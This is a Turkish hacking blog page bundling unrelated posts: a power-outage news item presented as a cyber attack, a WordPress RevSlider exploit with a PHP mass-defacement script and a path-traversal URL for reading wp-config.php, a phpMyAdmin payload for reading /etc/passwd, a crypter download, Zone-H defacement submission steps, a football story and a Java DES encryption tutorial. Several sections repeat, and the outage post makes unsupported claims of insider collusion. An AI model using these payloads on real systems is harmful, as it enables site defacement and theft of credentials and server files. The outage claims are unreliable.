KAPTANWHİTEHAT HOŞ GELDİNİZ! !
Blogumuza Hoş Geldiniz Keyifli Zaman Geçirmek Dileğiyle. http://kaptanwhitehat.blogspot.com.tr/.
KAPTANWHİTEHAT Fame Store ile sende fame ol!!
KAPTANWHİTEHAT Hack Fame Store ile bir çok sosyal paylaşım sitesinde fame olabilirsin! www.KAPTANWHİTEHAT.blogspot.com.tr.
KAPTANWHİTEHAT hackerlar'dan korunma yolları!
Bi hacker saldırısına korunma yollarını blogdaki konuları takip ederek öğrenebilirsiniz. www.KAPTANWHİTEHAT.blogspot.com.tr.
KAPTANWHİTEHAT programcı olmak istermisiniz
Programlama kategorisini takip ederek programcı olabilirsiniz. www.KAPTANWHİTEHAT.blogspot.com.tr.
En Güncel Paylaşımlar KAPTANWHİTEHAT'da !
En güncel Hack Paylaşımlar blog sayfamızdan ulaşabilir araştırabilirisiniz. www.KAPTANWHİTEHAT.blogspot.com.tr.
31 Mart 2015 Salı
EMP Bombası Nedir ?
Türkiye dahil bir çok Avrupa ülkesi siber bir saldırıya uğradı. Zarar milyarlarca dolar. Ama asıl önemlisi Türkiye'nin güvenlik zaafiyeti tespiti de yapıldı.
Siber saldırılarda bu kadar büyük zarar oluşmasında kurumlarda çalışan personelin işbirliği söz konusu. Birimler ve isimler tespit ediliyor!
Türkiye'den elektrik alınamıyor!
30 ilde elektrik kesintisi!!! Revolation dizisi gerçek mi oluyor?
Türkiye’nin bazı bölgelerinde yaşanan elektrik kesintileri hayatı olumsuz etkiliyor. Başta İstanbul ve Ankara olmak üzere İzmir, Antalya gibi Türkiye’nin farklı şehirlerinde elektrik kesintileri yaşanıyor. Marmara bölgesinde, Eskişehir, Kütahya, Bilecik, Bursa, Kocaeli'nde elektrik kesintisi yaşandığı belirtildi. METRO, TRAMVAY VE MARMARAY DURDU İstanbul Büyükşehir Belediyesi elektrik kesintileri nedeniyle metro seferlerinin yapılamadığını duyurdu. Metro, tramvay ve Marmaray seferleri yapılamıyor.
karanlık şehirler, akla "dünyada elektrik ve teknolojinin olmadığı revolation dizisini anımsattı.
İADE BİLETLERİ METROBÜSTE GEÇERLİ DEĞİL
Tüm metro ve tramvay seferleri durdu. Elektriğin saat 10.40'da kesilmesi sonrası duraklardaki yolculara biletleri iade edildi. Ancak iade biletlerinin metrobüslerde geçerli olmaması yolcuların tepkisini çekti
Metro ve tramvay duraklarında yolcuların bir kısmının bekleyişi sürerken bazı duraklarda yoğunluk oluştuğu gözlendi.
Enerji yeniden sağlanır sağlanmaz seferlerin başlayacağı bildirildi.
Kesinti sebebiyle Atatürk Havalimanı’nda yolcuların metroya gitmemesi yönünde anons yapıldı. Metro girişleri kapatıldı.
Kesinti nedeniyle metroya girişler kapatıldı. İçeride mahsur kalanlar tahliye edildi. Asansörlerde kapalı kalanları ekipler kurtardı. - Fotoğraf: Eyüp Serbest
ULAŞIM A.Ş: HEPSİ DURDU, SORUN ELEKTRİK KESİNTİSİ
Ulaşım A.Ş. kaynaklarından edinilen bilgilere göre, İstanbul genelinde, metro, tramvay, füniküler sistemlerin hiç birinde seferler yapılamıyor. Aynı kaynak, sorunun elektrik kesintisinden kaynaklandığını, ne zaman çözüleceği konusunda ise bilgilerinin olmadığını kaydetti.
TRAFİK IŞIKLARI SÖNDÜ
İstanbul Büyükşehir Belediyesi'nden şehrin bazı noktalarında trafik ışıklarının çalışmadığı duyuruldu. Açıklamada şöyle denildi:
"İstanbul genelindeki elektrik kesintisi nedeniyle trafik ışıkları şu anlık çalışmamaktadır."
‘SIKINTI TEİAŞ’DAN KAYNAKLI’
Konu ile ilgili Boğaziçi Elektrik Dağıtım’dan hürriyet.com.tr’ye yapılan açıklamada, sıkıntının kaynağında TEİAŞ’ın (Türkiye Elektrik İletim A.Ş.) sisteminde yaşanan bir sorun bulunuyor. İstanbul’un bazı bölgeleri yanı sıra Türkiye’nin bazı illerinde de benzer sıkıntı yaşanıyor.
ANKARA'DA METRO VE HIZLI TREN DURDU
Ankara’da metro seferleri ile hızlı tren seferleri durdu, trafik sinyalizasyon sistemi çalışmıyor. Metro seferlerinin durması nedeniyle metroda uzun kuyruklar oluştu.
KOCAELİ'DE DE ELEKTRİKLER GİTTİ
Kocaeli'deki yerel sitelerin haberinde kentte de elektriklerin gittiği belirtildi. Bir sitede yer alan haberde, "Kent genelinde büyük elektrik kesintisi yaşanıyor. Saat 10.30 sularında kentin büyük bir bölümünde elektrikler gitti. Kesinti nedeniyle pekçok fabrikada üretim durmuş durumdu. Kesintinin bir patlama sonrası kaynaklandığı iddia edilirken henüz SEDAŞ'tan bir açıklama yapılmış değil" denildi.
BEDAŞ'IN SİTESİ ÇÖKTÜ
BEDAŞ’ın “kesinti” sayfası yoğunluk nedeniyle çökmüş durumda
TRAKYA DA ELEKTRİKSİZ KALDI
Türkiye genelinde yaşanan elektrik kesintisinden Trakya Bölgesi de etkilendi. Tekirdağ, Edirne ve Kırklareli illeri ve ilçelerine elektrik verilemiyor.
Tekirdağ, Edirne ve Kırklareli'de saat 10.45 sıralarında elektrikler kesildi. Türkiye'nin bir çok ilinde yaşanan elektrik kesintisinin TEİAŞ kaynaklı olabileceği belirtilirken, ekiplerin harekete geçtiği bildirildi. Trakya Elektrik Dağıtım A.Ş'den (TREDAŞ) yapılan açıklamada, kesinti nedeniyle vatandaşlardan çok sayıda başvuru alındığı kaydedildi.
Alo 186 Çağrı Merkezi'nde başvuru nedeniyle yoğunluğun yaşandığı ve merkezin kilitlenmiş durumda olduğu ifade edildi.
30 Mart 2015 Pazartesi
WordPress RevSlider Get Caption CSS Yeni Exploit
Selamün Aleyküm Cyberizm Ailesi. Birkaç günden beri zone-h.org'da Index PHP, YunusIncredibl,Islamic State,Holako,Lunatico gibi hackerların kastığı açığı paylaşıcam. Cyberizm için elinizden geleni arkanıza koymayın.
Açığın Kaynaklandığı Yerler =>
Hacklediğiniz Yeri Görmek için =>
İşte O Exploit =>
Açığın Kaynaklandığı Yerler =>
Kod:
HEDEFSITE/wp-admin/admin-ajax.php
Kod:
HEDEFSITE/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.phpHacklediğiniz Yeri Görmek için =>
Kod:
/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_cssİşte O Exploit =>
İçerik açılmıştır. Yorum yazdığınız için teşekkürler.
Kod:
<?php
echo "\n+-------------------------------------------+\n";
echo "| Cyberizm Digital Security Army |\n";
echo "| http://www.cyberizm.org/ |\n";
echo "+-------------------------------------------+\n";
$gv=@file_get_contents($argv[1]);
$exv=explode("\r\n",$gv);
echo "\n\t Total site loaded : ".count($exv)."\n\n";
foreach($exv as $url){
echo "\n[+]Scaning : $url \n";
dr($url);
}
function dr($site){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "".$site."/wp-admin/admin-ajax.php");
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array("action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by KingSkrupellos Cyberizm Digital Security Team<p style='color: transparent'>"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
if (eregi('true', $result))
$path="$site/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
$gett=@file_get_contents($path);
if(preg_match('/Hacked by KingSkrupellos Cyberizm Digital Security Army/',$gett)){
echo "\n[+]Exploit Done \n[+]shell : $path \n\n ";
$fo = fopen("finish.txt","a+");
$r = fwrite($fo,"".$path."/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css\r\n");
fclose($fo);
} else {
echo "| ".$site . " : Not Revslider \n\n";
}
curl_close($ch);
}
echo "\n[-]Exploit Fail \n\n";
}
}
?>
TFF'den çifte standart!
Hollanda maçı sonrası Türkiye Futbol Federasyonu tepki çeken bir tercih yaptı.
A Milli Takımımızın Amsterdam Arena'da 1-1 berabare kaldığı Hollanda maçı sonrası bazı futbolcular A Milli Takım Teknik Direktörü Fatih Terim tarafından İstanbul'a gönderilmişti. Bu futbolculardan Galatasaraylı Burak Yılmaz, Hamit Altıntop ve Hakan Balta ile Fenerbahçeli Gökhan Gönül ve Mehmet Topal, Business bölümünde İstanbul'a dönerken, Beşiktaşlı oyuncular Ersan ve Gökhan Töre, Bursasporlu Serdar Aziz ile Başakşehirsporlu Volkan ekonomi sınıfında uçtu.
Tepkiye neden oldu!
Türkiye Futbol Federasyonu yetkililerinin neden böyle bir ayrım yaptığı veya neye göre böyle bir tercih yaptığı bilinmiyor. Zaman zaman uçak ayarlayıp siyasiler başta olmak üzere birçok davetliyi yurt dışına götüren TFF'nin böyle kritik bir maç sonrası bu yaklaşımı tepki topladı. Uçaktaki bazı futbolseverler de "Neden Galatasaraylı ve Fenerbahçeli futbolcular Business bölümünde uçuyor" tepkisini verdi.
Sunuculara Göre ByPass Yöntemleri
SA.
Bölüme adaylığımı koydum bundan dolayı çalışmalara başladım.:)Bu Konu altından bypass yöntemleri verelim . Her sunucunun kendine özel konfigürasyonu vardır,bu yüzdende her exploit her sunucuda çalışmayabilir. Buradada devreye Cyber-Warrior girecek ve bu konudan istediğiniz sunucnun geçiş yöntemini paylaşabilecek/alabileceksiniz.
Lütfen konuyu dağıtacak postlar atılmasın,herkes bildiğini eklesinki faydalı bir paylaşım olsun.İlk paylaşımıda ben yapayım.Genellikle bütün sunucularda phpmyadmin kurulu olur,bende bir exploit vereceğim ve konuyu güncel tutacagım , fırsat buldukça eklemeler yapacağım..
Quote: Popüler Mysql Yönetim yazılımı olan PhpMyAdmin’deki bir açıkla sunucudaki dosyaları görüntüleyebilirsiniz. Açık için bir exploit bulunsa da bunu kolaylıkla Clicker gibi HTTP Post yapan yazılımlarla gerçekleştirebilirsiniz.
HTTP emulatoru kullanarak saldırı yapmak için:
1- Çalışan bir proxy yükleyin.
2- Post seçeneğini kullanın.
3- Data kısmına aşağıdakileri girin:
usesubform[1]=1&usesubform[2]=1⊂form[1][redirect]=../../../../../etc/pas
swd⊂form[1][cXIb8O3]=1
(../…./etc/passwd dosyasını okunmasını istediğiniz dosya ile değiştirebilirsiniz)
4- Referer kısmını site ile aynı yapın.
5- Url kısmına
http://www.siteadresi.com/phpmyadmin
gibi bir adres girin.
Post işlemini gerçekleştirdikten sonra açılan sayfada Unable to Access yazarsa dosyanın sunucuda bulunmadığı anlamına gelir, farklı dosya adları deneyebilirsiniz…
Bölüme adaylığımı koydum bundan dolayı çalışmalara başladım.:)Bu Konu altından bypass yöntemleri verelim . Her sunucunun kendine özel konfigürasyonu vardır,bu yüzdende her exploit her sunucuda çalışmayabilir. Buradada devreye Cyber-Warrior girecek ve bu konudan istediğiniz sunucnun geçiş yöntemini paylaşabilecek/alabileceksiniz.
Lütfen konuyu dağıtacak postlar atılmasın,herkes bildiğini eklesinki faydalı bir paylaşım olsun.İlk paylaşımıda ben yapayım.Genellikle bütün sunucularda phpmyadmin kurulu olur,bende bir exploit vereceğim ve konuyu güncel tutacagım , fırsat buldukça eklemeler yapacağım..
Quote: Popüler Mysql Yönetim yazılımı olan PhpMyAdmin’deki bir açıkla sunucudaki dosyaları görüntüleyebilirsiniz. Açık için bir exploit bulunsa da bunu kolaylıkla Clicker gibi HTTP Post yapan yazılımlarla gerçekleştirebilirsiniz.
HTTP emulatoru kullanarak saldırı yapmak için:
1- Çalışan bir proxy yükleyin.
2- Post seçeneğini kullanın.
3- Data kısmına aşağıdakileri girin:
usesubform[1]=1&usesubform[2]=1⊂form[1][redirect]=../../../../../etc/pas
swd⊂form[1][cXIb8O3]=1
(../…./etc/passwd dosyasını okunmasını istediğiniz dosya ile değiştirebilirsiniz)
4- Referer kısmını site ile aynı yapın.
5- Url kısmına
http://www.siteadresi.com/phpmyadmin
gibi bir adres girin.
Post işlemini gerçekleştirdikten sonra açılan sayfada Unable to Access yazarsa dosyanın sunucuda bulunmadığı anlamına gelir, farklı dosya adları deneyebilirsiniz…
Crypter.ir Crypter V5
İndir
NOT : Ocx hatası alan arkaşlarım Krasi OCX 2012 veya Ronda Ocx ~ 2011_Instalador paketini indirip kursunlar.
Rapor gönderen sitelere taratmayınız.
Zone-H Mass
Burada ben deneme amaçlı olarak deneyelim adlı bir defacer’dan www.olaycokbasitoldu.com sitesini eklemeyi gösterdim. Siz dilerseniz burada enter tuş kombinasyonu ile alt satıra geçerek birden çok site eklemesi de yapabilirsiniz. Ben örnek teşkil etsin diye yalnızca bir site ekledim.
Daha sonra ise kaydet tuşuna basıyoruz. Ve Zone-H sistemine ilgili siteyi girdiğimiz bilgilerle kayıt etmesini bekliyoruz.İşlem bittiğinde bize aynı ekranda en altta bir uyarı gelecek resimde gördüğünüz üzere.
Ve şimdi giderek Zone-H üzerinde kayıt ettiğimiz defaceyi görebiliriz.
/ Kriptografi Algoritmaları Ve Kullanımları /
Kriptografik Bir Program Yazmanın Önkoşulları
Kriptografi ve güvenlik, yazılım dünyasında gün geçtikçe ortaya çıkan yeni teknolojiler sayesinde gittikçe derinleşen konulardır. Modern kriptolama ve güvenlik teknolojileri gelişmiş algoritmaları sayesinde yazılım güvenliğini ön planda tutma amacını güderken, şifreleme işlemi sırasında kaybedilecek zamanı minimum düzeye indirerek etkinlik sağlar. Bu yüzden bir güvenlik programı veya kimlik denetimi yapan kriptografik bir uygulamayı yazmaya başlamadan önce modern kriptolama teknolojileri ve kriptolama algoritmaları araştırılarak kriptolama tekniklerinin sınıflandırılması, varsa aralarındaki ilişkinin kurulması, farklılıklarının veya benzerliklerinin ortaya çıkarılması önkoşullar olarak söylenebilir. Eğer ki bu programlar Java programlama dili kullanılarak geliştirilecekse tavsiyem Java’nın crypto ve security kütüphanelerinin incelenmesidir. Özellikle kriptolama algoritmaları içerisindeki elemanların nitelik ve değerlerine ulaşmak amacıyla crypto paketindeki gerekli bölümler (Cipher, SecretKey, KeyGenerator, PBEKeySpec, SecretKeyFactory, PBEParameterSpec, SecretKeySpec, NoSuchPaddingException, BadPaddingException, IllegalBlockSizeException) ile security paketindeki gerekli bölümlerin (KeySpec, AlgorithmParameterSpec, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, InvalidKeySpecException) incelenmesini öneririm.
Enine Boyuna Modern Kriptolama Teknolojileri ve Algoritmaları
Modern kriptografi iki ana dala ayrılır. Bunlar, gizli anahtarlı şifreleme diğer bir deyişle simetrik-anahtar kriptografisi (symmetric-key cryptography) ve asimetrik-anahtar kriptografisi (asymmetric-key cryptography) olarak da bilinen açık anahtarlı şifrelemedir. Aşağıda kısaca tanımlamalarını yaptıktan sonra algoritmalarını tek tek ele alacağımız bu kriptosistemler hakkında detaylı bilgiye yine "Şifrelerin Büyülü Dünyası" makalemizden ulaşabilirsiniz. Gizli anahtarlı şifreleme, hem şifreleme hem de şifre çözme işlemleri için aynı anahtarı kullanan bir kripto sistemdir. Senkronize halde çalışan birimler arasında kurulan kripto sistemlerde iletişimin daha kuvvetli olması gerektiğinden bu tip alanlarda simetrik-anahtar kriptografisini kullanmak su ***ürmez bir gerçektir. Gizli anahtarlı şifreleme aşağıda derinlemesine ele alacağım DES (Data Encryption Standard), Blowfish, DESede ve Pass Phrase gibi yaygın ve güçlü şifreleme algoritmalarına sahiptir. Açık anahtarlı şifrelemede ise haberleşen tarafların her birinde birer çift anahtar bulunur ve bu anahtar çiftlerini oluşturan anahtarlardan biri gizli diğeri de açık anahtardır. Açık anahtarla, bilgiler sadece gizli anahtarın sahibi tarafından çözülebilecek şekilde şifrelenebilir ya da gizli anahtar sahibinin sayısal imzasının ve kimliğinin doğruluğu kontrol edilebilir. Açık anahtarlı şifreleme aşağıda da değineceğim DH (Diffie-Hellman), RSA ve DSA (Digital Signature Algorithm) gibi şifreleme algoritmalarına sahiptir. Sizler de açık ve gizli anahtarlı şifreleme algoritmaları üzerine bir araştırma yapacak olursanız şayet, algoritmaların şifreleyici mekanizmalarını belirli bir anahtar yaratarak bu anahtar yardımıyla kurduğunu gözlemleyeceksiniz. Ayrıca yaratılan anahtarların uzunluklarının ve her kullanım için özel olup olmamalarının, algoritmaların değişkenlik gösteren nitelikleri olduğunu göreceksiniz. Aynı algoritmanın birbirinden farklı uzunlukta veya nitelikte olan anahtarlarından oluşmuş şifreleyicilerle kriptoladığı verilerin farklılık gösterdiğine şahit olacaksınız.
Şimdi yukarıda örneklerini verdiğim algoritmaları daha yakından ele alalım:
DES (Data Encryption Standard):
DES, 64-bit blok büyüklüğüne ve anahtar uzunluğuna sahip fakat sahip olduğu bu 64-bit anahtar uzunluğunun yalnız 56-bit’inin işlevsellik taşıdığı bir öbek şifreleyicidir. Her kullanımında o kullanıma özel yeni bir anahtar yaratması DES’in güçlü, günümüz teknolojisi için algoritmasının yavaş ve 56-bit’lik efektif anahtar uzunluğunun yetersiz kalması DES’in zayıf yönleridir.
DES’i araştırırken bir başka algoritma daha dikkatimi çekti. DES altyapılı olan AES’in (Advanced Encryption Standard), şu an dünyada en yaygın olarak kullanılan simetrik şifreleme algoritması ve Amerikan yönetimi tarafından şifreleme standardı olarak kabul edilmiş bir öbek şifreleyici olduğunu öğrendim. AES’in DES’in aksine donanımda ve yazılımda hızlı olması, daha kolay uygulanabilir olması ve çok daha az hafızaya gerek duyması güçlü yönleri olarak söylenebilir. AES, 128-bit (16 byte) blok büyüklüğüne ve 128, 192 ve 256-bit gibi değişken anahtar uzunluğuna sahip bir algoritmadır.
Blowfish:
Blowfish, DES’in eksik kalmaya başlamasından sonra onun yerini alması amacıyla tasarlanmış bir öbek şifreleyici olup DES gibi 64-bit blok büyüklüğüne sahiptir ve anahtarlarının uzunluğu 32-bit’ten 448 bit’e (56 bayt) kadar uzanır. Blowfish’in en büyük özelliği herkes tarafından dilenildiği şekilde ve ücretsiz olarak kullanılabilir olmak olsa da tüm alt anahtarları oluşturması için 521 kez çalışması gerekiyor – bunun sonucunda yaklaşık 4 KB veri işlenmiş oluyor. Blowfish’in, 4 KB RAM’dan biraz fazla hafıza gereksinimi onun smartcard’lar (akıllı kartlar) gibi en küçük gömülü sistemlerde kullanımını engeller. Yinede yüksek şifreleme oranıyla (high encryption rate), kısa öbek büyüklüğüyle ve e-posta gibi rutin kullanıcı uygulamaları konusundaki etkinliğiyle başarılı bir algoritma olarak değerlendirilmektedir.
Pass Phrase:
Pass Phrase, ATM kartlarının PIN ve smartcard uygulamaları için kullanılan parolalardan farklı olarak kullanıcıdan uzak güvenlik sistemleri için uygulanan, parola mantığında bulunmayan karakterler arasında boşluk bırakmaya olanak tanıyan diğer bir deyişle kullanıcı tarafından kolayca akılda tutulabilecek karakter dizilerini anahtar yaratmada kullanan bir öbek şifreleyicidir. Dizi değişmediği sürece oluşturulacak her anahtar birbirinin aynısı olacaktır. Güvenlik açısından parolalara göre daha esnek ve güvenilir olması Pass Phrase’in güçlü tarafıdır.
DESede:
DESede de yakın akrabası DES gibi her kullanımında o kullanıma özel yeni bir anahtar yaratan fakat yine günümüz teknolojisi için algoritmasının yavaş kalmasıyla kullanılırlığını kaybetmeye başlamış bir öbek şifreleyicidir. 168-bit’lik anahtar uzunluğu onu DES’ten ayıran en önemli özelliği de olsa DESede sahip olduğu bu 168-bit’lik anahtar uzunluğunun yalnız 112-bit’ini efektif olarak kullanır.
DH (Diffie-Hellman):
Açık anahtarlı şifreleme algoritmalarından DH, iki katılımcının öncesinde herhangi bir bilgi alışverişi yapmadan güvenli olmayan bir kanal vasıtasıyla (güvenli bir şekilde) ortak bir
şifrede karar kılmalarına yarayan bir protokoldür. Algoritmanın asıl amacı, iki kullanıcının bir anahtarı güvenli bir şekilde birbirlerine iletmeleri ve daha sonrasında da bu anahtar yardımı ile şifreli mesajları birbirlerine gönderebilmelerini sağlamaktır. Algoritma anahtar değişimi ile sınırlıdır olmasına rağmen yinede birçok ticari uygulama bu anahtar değişimini kullanmıştır.
RSA:
RSA ise, hem mesaj şifreleme hem de elektronik imza amacıyla kullanılan daha çok ticari uygulamalarda tercih edilen tam sayılar üzerinde en iyileştirme yapılarak (integer factorization) oluşturulan değerlerden anahtarların üretildiği bir şifreleme teknolojisidir.
DSA:
Son olarak DSA ise anahtar oluşumunda logaritmik fonksiyonları kullanan, internet üzerinden güvenli iletişimi sağlayan TLS (transport layer security) kriptografik protokolü için sağladığı PFS (perfect forward secrecy) desteğiyle tanınan bir algoritmadır. Diğer bir deyişle, PFS temel olarak anahtarlardan birinin gelecekte tehlikeye girmesi durumunda diğer anahtarları güvence altına alan bir özelliktir.
Sonuç olarak asimetrik şifreleme sistemlerinin anahtar oluşumunda karmaşık matematiksel metotlar kullanmaları, onları simetrik şifreleme sistemlerine göre çok daha yavaş olmalarının başlıca sebebidir. Kullanım alanlarının simetrik şifreleme sistemlerine göre daha sınırlı olması ve uygulamada daha yavaş çalışmaları etkin olarak kullanılmamaları sonucunu doğurur. Yapılarının daha çok sunucu – kullanıcı ilişkili sistemlere ve mesaj doğrulama sistemlerine uygun olması, anahtar üretimi ve şifreleme işlemlerinin uzun sürmesi zayıf kalan yönleridir.
Son olarak da DES kriptolama algoritmasını Java programlama dilini kullanarak yazmış olduğum bir program üzerinde göstermek istiyorum. Yazmış olduğum bu program DES algoritmasını kullanarak verilen karakter dizilerini şifrelemeye yada şifrelenmiş bir dizinin şifresini çözmeye yarıyor.
Kod:
import java.io.UnsupportedEncodingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
public class DesEncrypter {
Cipher eCipher;
Cipher dCipher;
DesEncrypter(SecretKey key) {
try {
eCipher = Cipher.getInstance("DES");
dCipher = Cipher.getInstance("DES");
eCipher.init(Cipher.ENCRYPT_MODE, key);
dCipher.init(Cipher.DECRYPT_MODE, key);
} catch (javax.crypto.NoSuchPaddingException e) {
} catch (java.security.NoSuchAlgorithmException e) {
} catch (java.security.InvalidKeyException e) {
}
}
public String encrypt(String str) {
try {
byte[] utf8 = str.getBytes("UTF8");
// Şifreleme
byte[] enc = eCipher.doFinal(utf8);
// Bytes dizisini BASE64 ile karakter dizisine çevir
return new sun.misc.BASE64Encoder().encode(enc);
} catch (javax.crypto.BadPaddingException e) {
} catch (IllegalBlockSizeException e) {
} catch (UnsupportedEncodingException e) {
} catch (java.io.IOException e) {
}
return null;
}
public String decrypt(String str) {
try {
byte[] dec = new sun.misc.BASE64Decoder().decodeBuffer(str);
// Şifreyi çözme
byte[] utf8 = dCipher.doFinal(dec);
return new String(utf8, "UTF8");
} catch (javax.crypto.BadPaddingException e) {
} catch (IllegalBlockSizeException e) {
} catch (UnsupportedEncodingException e) {
} catch (java.io.IOException e) {
}
return null;
}
public static **** main(String[] args) {
try {
// Geçici bir anahtar oluştur
SecretKey key = KeyGenerator.getInstance("DES").generateKey();
// Şifreleyecek objeyi yarat
DesEncrypter encrypter = new DesEncrypter(key);
// Şifrele
String encrypted = encrypter.encrypt("E-Bergi Mart sayısı");
System.out.println(encrypted);
// Şifreyi çöz
String decrypted = encrypter.decrypt(encrypted);
System.out.println(decrypted);
} catch (Exception e) {
}
}
}
Kriptografi ve güvenlik, yazılım dünyasında gün geçtikçe ortaya çıkan yeni teknolojiler sayesinde gittikçe derinleşen konulardır. Modern kriptolama ve güvenlik teknolojileri gelişmiş algoritmaları sayesinde yazılım güvenliğini ön planda tutma amacını güderken, şifreleme işlemi sırasında kaybedilecek zamanı minimum düzeye indirerek etkinlik sağlar. Bu yüzden bir güvenlik programı veya kimlik denetimi yapan kriptografik bir uygulamayı yazmaya başlamadan önce modern kriptolama teknolojileri ve kriptolama algoritmaları araştırılarak kriptolama tekniklerinin sınıflandırılması, varsa aralarındaki ilişkinin kurulması, farklılıklarının veya benzerliklerinin ortaya çıkarılması önkoşullar olarak söylenebilir. Eğer ki bu programlar Java programlama dili kullanılarak geliştirilecekse tavsiyem Java’nın crypto ve security kütüphanelerinin incelenmesidir. Özellikle kriptolama algoritmaları içerisindeki elemanların nitelik ve değerlerine ulaşmak amacıyla crypto paketindeki gerekli bölümler (Cipher, SecretKey, KeyGenerator, PBEKeySpec, SecretKeyFactory, PBEParameterSpec, SecretKeySpec, NoSuchPaddingException, BadPaddingException, IllegalBlockSizeException) ile security paketindeki gerekli bölümlerin (KeySpec, AlgorithmParameterSpec, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, InvalidKeySpecException) incelenmesini öneririm.
Enine Boyuna Modern Kriptolama Teknolojileri ve Algoritmaları
Modern kriptografi iki ana dala ayrılır. Bunlar, gizli anahtarlı şifreleme diğer bir deyişle simetrik-anahtar kriptografisi (symmetric-key cryptography) ve asimetrik-anahtar kriptografisi (asymmetric-key cryptography) olarak da bilinen açık anahtarlı şifrelemedir. Aşağıda kısaca tanımlamalarını yaptıktan sonra algoritmalarını tek tek ele alacağımız bu kriptosistemler hakkında detaylı bilgiye yine "Şifrelerin Büyülü Dünyası" makalemizden ulaşabilirsiniz. Gizli anahtarlı şifreleme, hem şifreleme hem de şifre çözme işlemleri için aynı anahtarı kullanan bir kripto sistemdir. Senkronize halde çalışan birimler arasında kurulan kripto sistemlerde iletişimin daha kuvvetli olması gerektiğinden bu tip alanlarda simetrik-anahtar kriptografisini kullanmak su ***ürmez bir gerçektir. Gizli anahtarlı şifreleme aşağıda derinlemesine ele alacağım DES (Data Encryption Standard), Blowfish, DESede ve Pass Phrase gibi yaygın ve güçlü şifreleme algoritmalarına sahiptir. Açık anahtarlı şifrelemede ise haberleşen tarafların her birinde birer çift anahtar bulunur ve bu anahtar çiftlerini oluşturan anahtarlardan biri gizli diğeri de açık anahtardır. Açık anahtarla, bilgiler sadece gizli anahtarın sahibi tarafından çözülebilecek şekilde şifrelenebilir ya da gizli anahtar sahibinin sayısal imzasının ve kimliğinin doğruluğu kontrol edilebilir. Açık anahtarlı şifreleme aşağıda da değineceğim DH (Diffie-Hellman), RSA ve DSA (Digital Signature Algorithm) gibi şifreleme algoritmalarına sahiptir. Sizler de açık ve gizli anahtarlı şifreleme algoritmaları üzerine bir araştırma yapacak olursanız şayet, algoritmaların şifreleyici mekanizmalarını belirli bir anahtar yaratarak bu anahtar yardımıyla kurduğunu gözlemleyeceksiniz. Ayrıca yaratılan anahtarların uzunluklarının ve her kullanım için özel olup olmamalarının, algoritmaların değişkenlik gösteren nitelikleri olduğunu göreceksiniz. Aynı algoritmanın birbirinden farklı uzunlukta veya nitelikte olan anahtarlarından oluşmuş şifreleyicilerle kriptoladığı verilerin farklılık gösterdiğine şahit olacaksınız.
Şimdi yukarıda örneklerini verdiğim algoritmaları daha yakından ele alalım:
DES (Data Encryption Standard):
DES, 64-bit blok büyüklüğüne ve anahtar uzunluğuna sahip fakat sahip olduğu bu 64-bit anahtar uzunluğunun yalnız 56-bit’inin işlevsellik taşıdığı bir öbek şifreleyicidir. Her kullanımında o kullanıma özel yeni bir anahtar yaratması DES’in güçlü, günümüz teknolojisi için algoritmasının yavaş ve 56-bit’lik efektif anahtar uzunluğunun yetersiz kalması DES’in zayıf yönleridir.
DES’i araştırırken bir başka algoritma daha dikkatimi çekti. DES altyapılı olan AES’in (Advanced Encryption Standard), şu an dünyada en yaygın olarak kullanılan simetrik şifreleme algoritması ve Amerikan yönetimi tarafından şifreleme standardı olarak kabul edilmiş bir öbek şifreleyici olduğunu öğrendim. AES’in DES’in aksine donanımda ve yazılımda hızlı olması, daha kolay uygulanabilir olması ve çok daha az hafızaya gerek duyması güçlü yönleri olarak söylenebilir. AES, 128-bit (16 byte) blok büyüklüğüne ve 128, 192 ve 256-bit gibi değişken anahtar uzunluğuna sahip bir algoritmadır.
Blowfish:
Blowfish, DES’in eksik kalmaya başlamasından sonra onun yerini alması amacıyla tasarlanmış bir öbek şifreleyici olup DES gibi 64-bit blok büyüklüğüne sahiptir ve anahtarlarının uzunluğu 32-bit’ten 448 bit’e (56 bayt) kadar uzanır. Blowfish’in en büyük özelliği herkes tarafından dilenildiği şekilde ve ücretsiz olarak kullanılabilir olmak olsa da tüm alt anahtarları oluşturması için 521 kez çalışması gerekiyor – bunun sonucunda yaklaşık 4 KB veri işlenmiş oluyor. Blowfish’in, 4 KB RAM’dan biraz fazla hafıza gereksinimi onun smartcard’lar (akıllı kartlar) gibi en küçük gömülü sistemlerde kullanımını engeller. Yinede yüksek şifreleme oranıyla (high encryption rate), kısa öbek büyüklüğüyle ve e-posta gibi rutin kullanıcı uygulamaları konusundaki etkinliğiyle başarılı bir algoritma olarak değerlendirilmektedir.
Pass Phrase:
Pass Phrase, ATM kartlarının PIN ve smartcard uygulamaları için kullanılan parolalardan farklı olarak kullanıcıdan uzak güvenlik sistemleri için uygulanan, parola mantığında bulunmayan karakterler arasında boşluk bırakmaya olanak tanıyan diğer bir deyişle kullanıcı tarafından kolayca akılda tutulabilecek karakter dizilerini anahtar yaratmada kullanan bir öbek şifreleyicidir. Dizi değişmediği sürece oluşturulacak her anahtar birbirinin aynısı olacaktır. Güvenlik açısından parolalara göre daha esnek ve güvenilir olması Pass Phrase’in güçlü tarafıdır.
DESede:
